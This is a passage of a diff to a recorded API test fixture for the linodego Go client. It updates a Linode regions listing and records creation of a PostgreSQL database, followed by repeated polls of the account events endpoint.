172.233.128.36, - 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", - "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -197,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:20:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -220,7 +291,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -239,13 +310,2023 @@ interactions: url: https://api.linode.com/v4beta/databases/postgresql/instances method: POST response: - body: '{"id": 28228, "label": "go-postgres-testing-def", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "provisioning", - "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": - 3, "hosts": {"primary": null, "secondary": null}, "ssl_connection": false, "replication_type": - "asynch", "replication_commit_type": "local", "port": 5432, "updates": {"frequency": - "weekly", "duration": 3, "hour_of_day": 0, "day_of_week": null, "week_of_month": - null}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + body: '{"id": 133403, "label": "go-postgres-testing-def", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "provisioning", + "port": 5432, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": null, "secondary": null}, "created": + "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + null, "used_disk_size_gb": null, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": 0, + "day_of_week": null, "week_of_month": null}, "replication_commit_type": "local"}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "652" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:20:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - databases:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database"}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:20:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:20:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:20:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:21:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:21:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:21:32 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:21:47 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:22:02 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 19:22:17 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + 